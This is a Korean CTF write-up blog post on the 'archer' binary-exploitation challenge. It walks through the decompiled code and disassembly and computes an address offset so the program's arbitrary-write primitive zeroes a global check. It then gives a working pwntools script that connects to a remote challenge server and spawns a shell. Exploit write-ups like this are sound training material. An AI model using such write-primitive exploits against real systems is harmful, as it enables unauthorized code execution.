이번에는 archer 문제를 풀어볼 것이다.
먼저 프로그램을 실행해 보자.
프로그램을 실행했을 때는 취약점 찾기가 어렵다.
그러면 먼저 main을 decompile 해보자.(ida use)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[5]; // [rsp+Bh] [rbp-5h] BYREF
puts("It's battle day archer! Have you got what it takes?");
printf("Answer [yes/no]: ");
fflush(_bss_start);
fgets(s, 5, stdin);
if ( strstr(s, "no") )
{
puts("Battle isn't for everyone.");
exit(0);
}
puts("Awesome! Make your shot.");
makeshot();
puts("Hope you shot well! This will decide the battle.");
if ( code == 322376503 )
exit(0);
puts("WE WON!");
fflush(_bss_start);
system("/bin/sh");
return 0;
}
먼저 대충 설명을 하자면, 처음에 입력받을 때 "no"이면 프로그램을 종료하고, 아니면 계속 실행된다.
그리고 makeshot함수를 call 한다.
makeshot 함수 실행 후 code가 322376503 즉 hex로 0x13371337이면 종료된다.
만약에 code가 0x13371337이 아니라면 쉘 획득에 성공한다.
아마도 code라는 변수에 0x13371337이 저장되어 있는 것 같다.
일단은 makeshot을 decompile 해보자.
int makeshot()
{
_QWORD *v1; // [rsp+8h] [rbp-8h] BYREF
puts("Here's your arrow!");
puts("Now, which soldier do you wish to shoot?");
fflush(_bss_start);
__isoc99_scanf("%p", &v1);
v1 += 0xA0000;
*v1 = 0LL;
return puts("Shot!");
}
메모리 주소를 받고(scanf) add과정을 거쳐서 최종 메모리에 0이 들어간다.
그런데 실제로 어셈블리를 확인해보니 0xa0000이 더해지는 것이 아니라, 0x500000이 메모리에 더해진다.
아마도 ida의 오류인 것 같다.(or not?)
그러면 어셈블리 코드를 살펴보자.
Dump of assembler code for function makeshot:
0x0000000000401275 <+0>: push rbp
0x0000000000401276 <+1>: mov rbp,rsp
0x0000000000401279 <+4>: sub rsp,0x10
0x000000000040127d <+8>: lea rdi,[rip+0xe45] # 0x4020c9
0x0000000000401284 <+15>: call 0x401030 <puts@plt>
0x0000000000401289 <+20>: lea rdi,[rip+0xe50] # 0x4020e0
0x0000000000401290 <+27>: call 0x401030 <puts@plt>
0x0000000000401295 <+32>: mov rax,QWORD PTR [rip+0x2dd4] # 0x404070 <stdout@@GLIBC_2.2.5>
0x000000000040129c <+39>: mov rdi,rax
0x000000000040129f <+42>: call 0x401070 <fflush@plt>
0x00000000004012a4 <+47>: lea rax,[rbp-0x8]
0x00000000004012a8 <+51>: mov rsi,rax
0x00000000004012ab <+54>: lea rdi,[rip+0xe57] # 0x402109
0x00000000004012b2 <+61>: mov eax,0x0
0x00000000004012b7 <+66>: call 0x401080 <__isoc99_scanf@plt>
0x00000000004012bc <+71>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004012c0 <+75>: add rax,0x500000
0x00000000004012c6 <+81>: mov QWORD PTR [rbp-0x8],rax
0x00000000004012ca <+85>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004012ce <+89>: mov QWORD PTR [rax],0x0
0x00000000004012d5 <+96>: lea rdi,[rip+0xe30] # 0x40210c
0x00000000004012dc <+103>: call 0x401030 <puts@plt>
0x00000000004012e1 <+108>: nop
0x00000000004012e2 <+109>: leave
0x00000000004012e3 <+110>: ret
End of assembler dump.
+75를 보면 0x500000을 더하는 걸 확인할 수 있다.
이제 대충 exploit 방법을 생각해보자면, 아마도 code의 주소를 makeshot의 인자로 넣어서 값을 0으로 만들면 shell 획득에 가능할 것이다.
그러면 이제 code의 주소를 찾아보자.
아까 0x13371337이니 find로 찾으면 된다.(이 부분은 gdb peda에서만 가능하다.)
파란색 부분이 스택이다. 그러면 code의 주소는 0x404068이다.
그러면 0x404068 - 0x500000의 값을 구해보자.(그냥 계산기를 사용했다.)
이제 scanf의 인자를 0xFFFFFFFFFFF04068로 넣으면 된다.
%p로 받을 때는 0x를 때고 그 뒤 즉 FFFFFFFFFFF04068를 넣으면 된다.
그러면이제 exploit code를 짜보자.
from pwn import *
#p = process("./archer")
p = remote("193.57.159.27",49723)
p.recvuntil("]: ") # receive "Answer [yes/no]:"
p.sendline("yes") # input "yes"
p.recvuntil("?") # receive "Now, which soldier do you wish to shoot?"
payload = str("FFFFFFFFFFF04068") # input memory address
p.sendline(payload)
p.recvuntil("WON!") # WE WON!
print("___________________________________________________________")
print("[+] get shell")
print("___________________________________________________________")
p.interactive()
이제 스크립트를 실행해보자.
'CTFs' 카테고리의 다른 글
2022 HISCON writeup - HHJ (1) | 2022.11.15 |
---|---|
제 19회 순천향대 정보보호페스티벌 후기(YISF) (0) | 2021.08.22 |
RaRCTF - ret2winrars (0) | 2021.08.11 |
rtl ctf - ciphers galore! (0) | 2021.08.02 |
RTL ctf - Wait, What? (0) | 2021.08.02 |